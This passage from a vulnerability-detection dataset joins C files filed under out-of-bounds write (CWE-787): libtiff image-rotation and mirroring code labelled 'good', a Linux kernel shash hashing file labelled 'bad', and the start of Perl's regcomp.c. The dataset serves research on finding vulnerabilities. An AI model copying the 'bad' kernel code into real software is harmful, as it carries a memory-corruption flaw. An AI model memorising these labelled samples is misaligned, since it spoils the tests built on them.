(rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; default: break; } return (0); } /* end rotateImage */ static int reverseSamples8bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte, src_bit; uint32 bit_offset = 0; uint8 match_bits = 0, mask_bits = 0; uint8 buff1 = 0, buff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples8bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint8)-1 >> ( 8 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (8 - src_bit - bps); buff1 = ((*src) & match_bits) << (src_bit); if (ready_bits < 8) buff2 = (buff2 | (buff1 >> ready_bits)); else /* If we have a full buffer's worth, write it out */ { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end reverseSamples8bits */ static int reverseSamples16bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint16 match_bits = 0, mask_bits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSample16bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint16)-1 >> (16 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (16 - high_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 8) { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end reverseSamples16bits */ static int reverseSamples24bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint32 match_bits = 0, mask_bits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples24bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint32)-1 >> (32 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (32 - high_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 16) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end reverseSamples24bits */ static int reverseSamples32bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 bit_offset; uint32 src_byte = 0, high_bit = 0; uint32 col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 mask_bits = 0, match_bits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples32bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint64)-1 >> (64 - bps); dst = obuff; /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (64 - high_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & match_bits) << (high_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end reverseSamples32bits */ static int reverseSamplesBytes (uint16 spp, uint16 bps, uint32 width, uint8 *src, uint8 *dst) { int i; uint32 col, bytes_per_pixel, col_offset; uint8 bytebuff1; unsigned char swapbuff[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("reverseSamplesBytes","Invalid input or output buffer"); return (1); } bytes_per_pixel = ((bps * spp) + 7) / 8; if( bytes_per_pixel > sizeof(swapbuff) ) { TIFFError("reverseSamplesBytes","bytes_per_pixel too large"); return (1); } switch (bps / 8) { case 8: /* Use memcpy for multiple bytes per sample data */ case 4: case 3: case 2: for (col = 0; col < (width / 2); col++) { col_offset = col * bytes_per_pixel; _TIFFmemcpy (swapbuff, src + col_offset, bytes_per_pixel); _TIFFmemcpy (src + col_offset, dst - col_offset - bytes_per_pixel, bytes_per_pixel); _TIFFmemcpy (dst - col_offset - bytes_per_pixel, swapbuff, bytes_per_pixel); } break; case 1: /* Use byte copy only for single byte per sample data */ for (col = 0; col < (width / 2); col++) { for (i = 0; i < spp; i++) { bytebuff1 = *src; *src++ = *(dst - spp + i); *(dst - spp + i) = bytebuff1; } dst -= spp; } break; default: TIFFError("reverseSamplesBytes","Unsupported bit depth %d", bps); return (1); } return (0); } /* end reverseSamplesBytes */ /* Mirror an image horizontally or vertically */ static int mirrorImage(uint16 spp, uint16 bps, uint16 mirror, uint32 width, uint32 length, unsigned char *ibuff) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, row_offset; unsigned char *line_buff = NULL; unsigned char *src; unsigned char *dst; src = ibuff; rowsize = ((width * bps * spp) + 7) / 8; switch (mirror) { case MIRROR_BOTH: case MIRROR_VERT: line_buff = (unsigned char *)_TIFFmalloc(rowsize); if (line_buff == NULL) { TIFFError ("mirrorImage", "Unable to allocate mirror line buffer of %1u bytes", rowsize); return (-1); } dst = ibuff + (rowsize * (length - 1)); for (row = 0; row < length / 2; row++) { _TIFFmemcpy(line_buff, src, rowsize); _TIFFmemcpy(src, dst, rowsize); _TIFFmemcpy(dst, line_buff, rowsize); src += (rowsize); dst -= (rowsize); } if (line_buff) _TIFFfree(line_buff); if (mirror == MIRROR_VERT) break; case MIRROR_HORIZ : if ((bps % 8) == 0) /* byte alligned data */ { for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; dst = ibuff + row_offset + rowsize; if (reverseSamplesBytes(spp, bps, width, src, dst)) { return (-1); } } } else { /* non 8 bit per sample data */ if (!(line_buff = (unsigned char *)_TIFFmalloc(rowsize + 1))) { TIFFError("mirrorImage", "Unable to allocate mirror line buffer"); return (-1); } bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; _TIFFmemset (line_buff, '\0', rowsize); switch (shift_width) { case 1: if (reverseSamples16bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 2: if (reverseSamples24bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; default: TIFFError("mirrorImage","Unsupported bit depth %d", bps); _TIFFfree(line_buff); return (-1); } } if (line_buff) _TIFFfree(line_buff); } break; default: TIFFError ("mirrorImage", "Invalid mirror axis %d", mirror); return (-1); break; } return (0); } /* Invert the light and dark values for a bilevel or grayscale image */ static int invertImage(uint16 photometric, uint16 spp, uint16 bps, uint32 width, uint32 length, unsigned char *work_buff) { uint32 row, col; unsigned char bytebuff1, bytebuff2, bytebuff3, bytebuff4; unsigned char *src; uint16 *src_uint16; uint32 *src_uint32; if (spp != 1) { TIFFError("invertImage", "Image inversion not supported for more than one sample per pixel"); return (-1); } if (photometric != PHOTOMETRIC_MINISWHITE && photometric != PHOTOMETRIC_MINISBLACK) { TIFFError("invertImage", "Only black and white and grayscale images can be inverted"); return (-1); } src = work_buff; if (src == NULL) { TIFFError ("invertImage", "Invalid crop buffer passed to invertImage"); return (-1); } switch (bps) { case 32: src_uint32 = (uint32 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint32 = (uint32)0xFFFFFFFF - *src_uint32; src_uint32++; } break; case 16: src_uint16 = (uint16 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint16 = (uint16)0xFFFF - *src_uint16; src_uint16++; } break; case 8: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src = (uint8)255 - *src; src++; } break; case 4: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 16 - (uint8)(*src & 240 >> 4); bytebuff2 = 16 - (*src & 15); *src = bytebuff1 << 4 & bytebuff2; src++; } break; case 2: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 4 - (uint8)(*src & 192 >> 6); bytebuff2 = 4 - (uint8)(*src & 48 >> 4); bytebuff3 = 4 - (uint8)(*src & 12 >> 2); bytebuff4 = 4 - (uint8)(*src & 3); *src = (bytebuff1 << 6) || (bytebuff2 << 4) || (bytebuff3 << 2) || bytebuff4; src++; } break; case 1: for (row = 0; row < length; row++) for (col = 0; col < width; col += 8 /(spp * bps)) { *src = ~(*src); src++; } break; default: TIFFError("invertImage", "Unsupported bit depth %d", bps); return (-1); } return (0); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5478_4
crossvul-cpp_data_bad_2977_1
/* * Synchronous Cryptographic Hash operations. * * Copyright (c) 2008 Herbert Xu <herbert@gondor.apana.org.au> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * */ #include <crypto/scatterwalk.h> #include <crypto/internal/hash.h> #include <linux/err.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/seq_file.h> #include <linux/cryptouser.h> #include <net/netlink.h> #include <linux/compiler.h> #include "internal.h" static const struct crypto_type crypto_shash_type; static int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, unsigned int keylen) { return -ENOSYS; } static int shash_setkey_unaligned(struct crypto_shash *tfm, const u8 *key, unsigned int keylen) { struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); unsigned long absize; u8 *buffer, *alignbuffer; int err; absize = keylen + (alignmask & ~(crypto_tfm_ctx_alignment() - 1)); buffer = kmalloc(absize, GFP_ATOMIC); if (!buffer) return -ENOMEM; alignbuffer = (u8 *)ALIGN((unsigned long)buffer, alignmask + 1); memcpy(alignbuffer, key, keylen); err = shash->setkey(tfm, alignbuffer, keylen); kzfree(buffer); return err; } int crypto_shash_setkey(struct crypto_shash *tfm, const u8 *key, unsigned int keylen) { struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if ((unsigned long)key & alignmask) return shash_setkey_unaligned(tfm, key, keylen); return shash->setkey(tfm, key, keylen); } EXPORT_SYMBOL_GPL(crypto_shash_setkey); static inline unsigned int shash_align_buffer_size(unsigned len, unsigned long mask) { typedef u8 __aligned_largest u8_aligned; return len + (mask & ~(__alignof__(u8_aligned) - 1)); } static int shash_update_unaligned(struct shash_desc *desc, const u8 *data, unsigned int len) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); unsigned int unaligned_len = alignmask + 1 - ((unsigned long)data & alignmask); u8 ubuf[shash_align_buffer_size(unaligned_len, alignmask)] __aligned_largest; u8 *buf = PTR_ALIGN(&ubuf[0], alignmask + 1); int err; if (unaligned_len > len) unaligned_len = len; memcpy(buf, data, unaligned_len); err = shash->update(desc, buf, unaligned_len); memset(buf, 0, unaligned_len); return err ?: shash->update(desc, data + unaligned_len, len - unaligned_len); } int crypto_shash_update(struct shash_desc *desc, const u8 *data, unsigned int len) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if ((unsigned long)data & alignmask) return shash_update_unaligned(desc, data, len); return shash->update(desc, data, len); } EXPORT_SYMBOL_GPL(crypto_shash_update); static int shash_final_unaligned(struct shash_desc *desc, u8 *out) { struct crypto_shash *tfm = desc->tfm; unsigned long alignmask = crypto_shash_alignmask(tfm); struct shash_alg *shash = crypto_shash_alg(tfm); unsigned int ds = crypto_shash_digestsize(tfm); u8 ubuf[shash_align_buffer_size(ds, alignmask)] __aligned_largest; u8 *buf = PTR_ALIGN(&ubuf[0], alignmask + 1); int err; err = shash->final(desc, buf); if (err) goto out; memcpy(out, buf, ds); out: memset(buf, 0, ds); return err; } int crypto_shash_final(struct shash_desc *desc, u8 *out) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if ((unsigned long)out & alignmask) return shash_final_unaligned(desc, out); return shash->final(desc, out); } EXPORT_SYMBOL_GPL(crypto_shash_final); static int shash_finup_unaligned(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { return crypto_shash_update(desc, data, len) ?: crypto_shash_final(desc, out); } int crypto_shash_finup(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if (((unsigned long)data | (unsigned long)out) & alignmask) return shash_finup_unaligned(desc, data, len, out); return shash->finup(desc, data, len, out); } EXPORT_SYMBOL_GPL(crypto_shash_finup); static int shash_digest_unaligned(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { return crypto_shash_init(desc) ?: crypto_shash_finup(desc, data, len, out); } int crypto_shash_digest(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if (((unsigned long)data | (unsigned long)out) & alignmask) return shash_digest_unaligned(desc, data, len, out); return shash->digest(desc, data, len, out); } EXPORT_SYMBOL_GPL(crypto_shash_digest); static int shash_default_export(struct shash_desc *desc, void *out) { memcpy(out, shash_desc_ctx(desc), crypto_shash_descsize(desc->tfm)); return 0; } static int shash_default_import(struct shash_desc *desc, const void *in) { memcpy(shash_desc_ctx(desc), in, crypto_shash_descsize(desc->tfm)); return 0; } static int shash_async_setkey(struct crypto_ahash *tfm, const u8 *key, unsigned int keylen) { struct crypto_shash **ctx = crypto_ahash_ctx(tfm); return crypto_shash_setkey(*ctx, key, keylen); } static int shash_async_init(struct ahash_request *req) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return crypto_shash_init(desc); } int shash_ahash_update(struct ahash_request *req, struct shash_desc *desc) { struct crypto_hash_walk walk; int nbytes; for (nbytes = crypto_hash_walk_first(req, &walk); nbytes > 0; nbytes = crypto_hash_walk_done(&walk, nbytes)) nbytes = crypto_shash_update(desc, walk.data, nbytes); return nbytes; } EXPORT_SYMBOL_GPL(shash_ahash_update); static int shash_async_update(struct ahash_request *req) { return shash_ahash_update(req, ahash_request_ctx(req)); } static int shash_async_final(struct ahash_request *req) { return crypto_shash_final(ahash_request_ctx(req), req->result); } int shash_ahash_finup(struct ahash_request *req, struct shash_desc *desc) { struct crypto_hash_walk walk; int nbytes; nbytes = crypto_hash_walk_first(req, &walk); if (!nbytes) return crypto_shash_final(desc, req->result); do { nbytes = crypto_hash_walk_last(&walk) ? crypto_shash_finup(desc, walk.data, nbytes, req->result) : crypto_shash_update(desc, walk.data, nbytes); nbytes = crypto_hash_walk_done(&walk, nbytes); } while (nbytes > 0); return nbytes; } EXPORT_SYMBOL_GPL(shash_ahash_finup); static int shash_async_finup(struct ahash_request *req) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return shash_ahash_finup(req, desc); } int shash_ahash_digest(struct ahash_request *req, struct shash_desc *desc) { unsigned int nbytes = req->nbytes; struct scatterlist *sg; unsigned int offset; int err; if (nbytes && (sg = req->src, offset = sg->offset, nbytes < min(sg->length, ((unsigned int)(PAGE_SIZE)) - offset))) { void *data; data = kmap_atomic(sg_page(sg)); err = crypto_shash_digest(desc, data + offset, nbytes, req->result); kunmap_atomic(data); crypto_yield(desc->flags); } else err = crypto_shash_init(desc) ?: shash_ahash_finup(req, desc); return err; } EXPORT_SYMBOL_GPL(shash_ahash_digest); static int shash_async_digest(struct ahash_request *req) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return shash_ahash_digest(req, desc); } static int shash_async_export(struct ahash_request *req, void *out) { return crypto_shash_export(ahash_request_ctx(req), out); } static int shash_async_import(struct ahash_request *req, const void *in) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return crypto_shash_import(desc, in); } static void crypto_exit_shash_ops_async(struct crypto_tfm *tfm) { struct crypto_shash **ctx = crypto_tfm_ctx(tfm); crypto_free_shash(*ctx); } int crypto_init_shash_ops_async(struct crypto_tfm *tfm) { struct crypto_alg *calg = tfm->__crt_alg; struct shash_alg *alg = __crypto_shash_alg(calg); struct crypto_ahash *crt = __crypto_ahash_cast(tfm); struct crypto_shash **ctx = crypto_tfm_ctx(tfm); struct crypto_shash *shash; if (!crypto_mod_get(calg)) return -EAGAIN; shash = crypto_create_tfm(calg, &crypto_shash_type); if (IS_ERR(shash)) { crypto_mod_put(calg); return PTR_ERR(shash); } *ctx = shash; tfm->exit = crypto_exit_shash_ops_async; crt->init = shash_async_init; crt->update = shash_async_update; crt->final = shash_async_final; crt->finup = shash_async_finup; crt->digest = shash_async_digest; crt->setkey = shash_async_setkey; crt->has_setkey = alg->setkey != shash_no_setkey; if (alg->export) crt->export = shash_async_export; if (alg->import) crt->import = shash_async_import; crt->reqsize = sizeof(struct shash_desc) + crypto_shash_descsize(shash); return 0; } static int crypto_shash_init_tfm(struct crypto_tfm *tfm) { struct crypto_shash *hash = __crypto_shash_cast(tfm); hash->descsize = crypto_shash_alg(hash)->descsize; return 0; } #ifdef CONFIG_NET static int crypto_shash_report(struct sk_buff *skb, struct crypto_alg *alg) { struct crypto_report_hash rhash; struct shash_alg *salg = __crypto_shash_alg(alg); strncpy(rhash.type, "shash", sizeof(rhash.type)); rhash.blocksize = alg->cra_blocksize; rhash.digestsize = salg->digestsize; if (nla_put(skb, CRYPTOCFGA_REPORT_HASH, sizeof(struct crypto_report_hash), &rhash)) goto nla_put_failure; return 0; nla_put_failure: return -EMSGSIZE; } #else static int crypto_shash_report(struct sk_buff *skb, struct crypto_alg *alg) { return -ENOSYS; } #endif static void crypto_shash_show(struct seq_file *m, struct crypto_alg *alg) __maybe_unused; static void crypto_shash_show(struct seq_file *m, struct crypto_alg *alg) { struct shash_alg *salg = __crypto_shash_alg(alg); seq_printf(m, "type : shash\n"); seq_printf(m, "blocksize : %u\n", alg->cra_blocksize); seq_printf(m, "digestsize : %u\n", salg->digestsize); } static const struct crypto_type crypto_shash_type = { .extsize = crypto_alg_extsize, .init_tfm = crypto_shash_init_tfm, #ifdef CONFIG_PROC_FS .show = crypto_shash_show, #endif .report = crypto_shash_report, .maskclear = ~CRYPTO_ALG_TYPE_MASK, .maskset = CRYPTO_ALG_TYPE_MASK, .type = CRYPTO_ALG_TYPE_SHASH, .tfmsize = offsetof(struct crypto_shash, base), }; struct crypto_shash *crypto_alloc_shash(const char *alg_name, u32 type, u32 mask) { return crypto_alloc_tfm(alg_name, &crypto_shash_type, type, mask); } EXPORT_SYMBOL_GPL(crypto_alloc_shash); static int shash_prepare_alg(struct shash_alg *alg) { struct crypto_alg *base = &alg->base; if (alg->digestsize > PAGE_SIZE / 8 || alg->descsize > PAGE_SIZE / 8 || alg->statesize > PAGE_SIZE / 8) return -EINVAL; base->cra_type = &crypto_shash_type; base->cra_flags &= ~CRYPTO_ALG_TYPE_MASK; base->cra_flags |= CRYPTO_ALG_TYPE_SHASH; if (!alg->finup) alg->finup = shash_finup_unaligned; if (!alg->digest) alg->digest = shash_digest_unaligned; if (!alg->export) { alg->export = shash_default_export; alg->import = shash_default_import; alg->statesize = alg->descsize; } if (!alg->setkey) alg->setkey = shash_no_setkey; return 0; } int crypto_register_shash(struct shash_alg *alg) { struct crypto_alg *base = &alg->base; int err; err = shash_prepare_alg(alg); if (err) return err; return crypto_register_alg(base); } EXPORT_SYMBOL_GPL(crypto_register_shash); int crypto_unregister_shash(struct shash_alg *alg) { return crypto_unregister_alg(&alg->base); } EXPORT_SYMBOL_GPL(crypto_unregister_shash); int crypto_register_shashes(struct shash_alg *algs, int count) { int i, ret; for (i = 0; i < count; i++) { ret = crypto_register_shash(&algs[i]); if (ret) goto err; } return 0; err: for (--i; i >= 0; --i) crypto_unregister_shash(&algs[i]); return ret; } EXPORT_SYMBOL_GPL(crypto_register_shashes); int crypto_unregister_shashes(struct shash_alg *algs, int count) { int i, ret; for (i = count - 1; i >= 0; --i) { ret = crypto_unregister_shash(&algs[i]); if (ret) pr_err("Failed to unregister %s %s: %d\n", algs[i].base.cra_driver_name, algs[i].base.cra_name, ret); } return 0; } EXPORT_SYMBOL_GPL(crypto_unregister_shashes); int shash_register_instance(struct crypto_template *tmpl, struct shash_instance *inst) { int err; err = shash_prepare_alg(&inst->alg); if (err) return err; return crypto_register_instance(tmpl, shash_crypto_instance(inst)); } EXPORT_SYMBOL_GPL(shash_register_instance); void shash_free_instance(struct crypto_instance *inst) { crypto_drop_spawn(crypto_instance_ctx(inst)); kfree(shash_instance(inst)); } EXPORT_SYMBOL_GPL(shash_free_instance); int crypto_init_shash_spawn(struct crypto_shash_spawn *spawn, struct shash_alg *alg, struct crypto_instance *inst) { return crypto_init_spawn2(&spawn->base, &alg->base, inst, &crypto_shash_type); } EXPORT_SYMBOL_GPL(crypto_init_shash_spawn); struct shash_alg *shash_attr_alg(struct rtattr *rta, u32 type, u32 mask) { struct crypto_alg *alg; alg = crypto_attr_alg2(rta, &crypto_shash_type, type, mask); return IS_ERR(alg) ? ERR_CAST(alg) : container_of(alg, struct shash_alg, base); } EXPORT_SYMBOL_GPL(shash_attr_alg); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Synchronous cryptographic hash type");
./CrossVul/dataset_final_sorted/CWE-787/c/bad_2977_1
crossvul-cpp_data_good_3873_0
/* regcomp.c */ /* * 'A fair jaw-cracker dwarf-language must be.' --Samwise Gamgee * * [p.285 of _The Lord of the Rings_, II/iii: "The Ring Goes South"] */ /* This file contains functions for compiling a regular expression. See * also regexec.c which funnily enough, contains functions for executing * a regular expression. * * This file is also copied at build time to ext/re/re_comp.c, where * it's built with -DPERL_EXT_RE_BUILD -DPERL_EXT_RE_DEBUG -DPERL_EXT. * This causes the main functions to be compiled under new names and with * debugging support added, which makes "use re 'debug'" work. */ /* NOTE: this is derived from Henry Spencer's regexp code, and should not * confused with the original package (see point 3 below). Thanks, Henry! */ /* Additional note: this code is very heavily munged from Henry's version * in places. In some spots I've traded clarity for efficiency, so don't * blame Henry for some of the lack of readability. */ /* The names of the functions have been changed from regcomp and * regexec to pregcomp and pregexec in order to avoid conflicts * with the POSIX routines of the same names. */ #ifdef PERL_EXT_RE_BUILD #include "re_top.h" #endif /* * pregcomp and pregexec -- regsub and regerror are not used in perl * * Copyright (c) 1986 by University of Toronto. * Written by Henry Spencer. Not derived from licensed software. * * Permission is granted to anyone to use this software for any * purpose on any computer system, and to redistribute it freely, * subject to the following restrictions: * * 1. The author is not responsible for the consequences of use of * this software, no matter how awful, even if they arise * from defects in it. * * 2. The origin of this software must not be misrepresented, either * by explicit claim or by omission. * * 3. Altered versions must be plainly marked as such, and must not * be misrepresented as being the original software. * * **** Alterations to Henry's code are... **** **** Copyright (C) 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, **** 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 **** by Larry Wall and others **** **** You may distribute under the terms of either the GNU General Public **** License or the Artistic License, as specified in the README file. * * Beware that some of this code is subtly aware of the way operator * precedence is structured in regular expressions. Serious changes in * regular-expression syntax might require a total rethink. */ #include "EXTERN.h" #define PERL_IN_REGCOMP_C #include "perl.h" #define REG_COMP_C #ifdef PERL_IN_XSUB_RE # include "re_comp.h" EXTERN_C const struct regexp_engine my_reg_engine; #else # include "regcomp.h" #endif #include "dquote_inline.h" #include "invlist_inline.h" #include "unicode_constants.h" #define HAS_NONLATIN1_FOLD_CLOSURE(i) \ _HAS_NONLATIN1_FOLD_CLOSURE_ONLY_FOR_USE_BY_REGCOMP_DOT_C_AND_REGEXEC_DOT_C(i) #define HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(i) \ _HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE_ONLY_FOR_USE_BY_REGCOMP_DOT_C_AND_REGEXEC_DOT_C(i) #define IS_NON_FINAL_FOLD(c) _IS_NON_FINAL_FOLD_ONLY_FOR_USE_BY_REGCOMP_DOT_C(c) #define IS_IN_SOME_FOLD_L1(c) _IS_IN_SOME_FOLD_ONLY_FOR_USE_BY_REGCOMP_DOT_C(c) #ifndef STATIC #define STATIC static #endif /* this is a chain of data about 